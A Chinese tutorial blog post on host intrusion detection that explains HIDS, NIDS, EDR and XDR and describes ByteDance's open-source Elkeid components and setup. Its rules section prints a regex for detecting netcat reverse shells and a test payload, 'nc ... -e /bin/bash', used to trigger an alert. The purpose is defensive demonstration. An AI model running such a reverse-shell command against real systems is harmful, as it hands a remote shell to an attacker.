主机安全-开源HIDS字节跳动Elkeid安装使用

目录


概述

什么是HIDS

HIDS( host-based intrusion detection system,基于主机的入侵检测系统),通过监测主机上的进程、文件、网络等信息来识别入侵风险。

HIDS与NIDS的区别

NIDS基于网络流量来进行入侵检测,和HIDS相比,实时性更高,对主机没有性能影响。一般装在网关等地方获取镜像流量即可,无需安装在每台主机节点,开源NIDS有Suricata等。

EDR、XDR是啥?

EDR(Endpoint Detection and Response,端点检测与响应),相较于传统的HIDS,EDR增加了响应 的部分,例如添加SOAR(security orchestration, automation and response,安全编排、自动化与响应系统)、止损手段。

XDR( eXtended Detection and Response ,可扩展检测与响应),相较于EDR,能够结合多个数据源(云原生安全、电子邮件安全等)。

Elkeid

架构

  • Elkeid Agent:代理,与Manager节点通信,负责上传日志等信息,管理组件。
  • Elkeid Driver:负责 Linux Kernel 层采集数据,兼容容器,并能够检测常见 Rootkit。
  • Elkeid RASP:支持 CPython、Golang、JVM、NodeJS、PHP 的运行时数据采集探针,支持动态注入到运行时。
  • Elkeid HUB:策略引擎。
  • AgentCenter:收集Agent 数据,写入到消息队列,给Agent下发指令。
  • ServiceDiscovery:服务发现。
  • 实时计算模块:消费消息队列数据,进行分析和检测。
  • 离线计算模块:消费消息队列数据
  • Manager:管理各个模块。

Elkeid Agent && Agent center

参考关于 Elkeid Agent

Agent具有数据通信、资源监控、组件版本控制、文件传输、机器基础信息采集等功能。

Agent拥有多个Plugins,是Agent的插件,Agent的子进程,可以由多种语言实现。

  • Driver Plugin: 负责与 Elkeid Driver 通信,处理其传递的数据等
  • Collector Plugin: 负责端上的资产/关键信息采集工作,如用户,定时任务,包信息等
  • Journal Watcher: 负责监测systemd日志的插件,目前支持ssh相关日志采集与上报
  • Scanner Plugin:负责在端上进行静态检测恶意文件的插件,支持
  • Yara RASP Plugin: 分析系统进程运行时,上报运行时信息,处理下发的Attach 指令,收集各个探针上报的数据
  • Baseline Plugin: 负责在端上进行基线风险识别的插件

Agent Center基于gRPC + ProtoBuf通信,具有以下功能

  • 限流:最大链接数保护
  • 负载均衡:SD服务发现+Manager动态控制
  • 通信链路安全:SSL+HTTPS
  • 上报数据Kafka

Elkeid Driver

参考关于 Elkeid Driver

Elkeid Driver 主要通过 Kprobe Hook Kernel Function 来提供丰富而准确的数据收集 功能,包括内核级进程执行探测,特权升级监控,网络审计等等。,并且支持 Linux Namespace。

主要是Plugins、Hook、Filter、Anti-Rootkit四个功能。

Elkeid RASP

参考Golang-RASP

RASP(Runtime application self-protection,实时应用自我防护),通过探针的方式注入到应用中,在运行时实时防护。

Elkeid HUB

参考:Elkeid HUB

  • INPUT 数据输入层,社区版仅支持Kafka
  • RULEENGINE/RULESET 对数据进行检测/外部数据联动/数据处理的核心组件
  • OUTPUT 数据输出层,社区版仅支持Kafka/ES
  • SMITH_DSL 用来描述数据流转关系

Service Discovery

服务发现,发现Agent。

负载均衡,

Manager

任务下发,分布式任务分发系统。

安装

根据Elkeid 完整部署进行部署。

数据采集

参考:数据接入指南

规则&告警

参考:HIDS开源策略列表

以hids_detect的reverse_shell_detect_argv为例,正则如下:

powershell 复制代码
(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))

攻击payload如下:

powershell 复制代码
nc 172.19.0.3 8888 -e /bin/bash

告警如下:

配置了一个企微机器人,收到消息:

参考

HIDS与NIDS的区别
crowdstrike-EDR
paloalto-XDR
五款流行开源的 HIDS 系统简单介绍
最后的防线:三款开源HIDS应用对比评估
腾讯自研HIDS「洋葱」后台上云架构演进实践

github-ossec
github-yulong-hids-archived
github-Elkeid

wazuh
github-wazuh
开源安全平台Wazuh的部署与体验

tripwire

suricate
github-suricata

奇安信-终端安全响应系统(EDR)

相关推荐
HelloGitHub几秒前
节省 60% Token 的新数据格式「GitHub 热点速览」
开源·github
天途小编29 分钟前
引领产业合规化进程:北方天途航空无人机安全操作能力评估系统与民航局UOM平台完成全面技术对接
安全·无人机
微学AI4 小时前
Rust语言的深度剖析:内存安全与高性能的技术实现操作
java·安全·rust
xixixi777777 小时前
了解一下Sentry(一个开源的实时错误监控平台)
前端·安全·开源·安全威胁分析·监控·sentry
q***71018 小时前
开源模型应用落地-工具使用篇-Spring AI-Function Call(八)
人工智能·spring·开源
极限实验室9 小时前
Coco AI 参选 Gitee 2025 最受欢迎开源软件!您的每一票,都是对中国开源的硬核支持
人工智能·开源
不爱学习的YY酱9 小时前
告别局域网束缚!Excalidraw结合cpolar随时随地画流程图
安全·流程图·cpolar
AscendKing11 小时前
开源项目分享 图像深度学习Demo项目
开源·好好学电脑·hhxdn.com
七宝大爷12 小时前
定义 LLM 格局:开源与闭源两大阵营的较量
开源·闭源·gpu集群
炸裂狸花猫12 小时前
开源监控体系Prometheus & Thanos & Grafana & Alertmanager
云原生·开源·prometheus·监控·thanos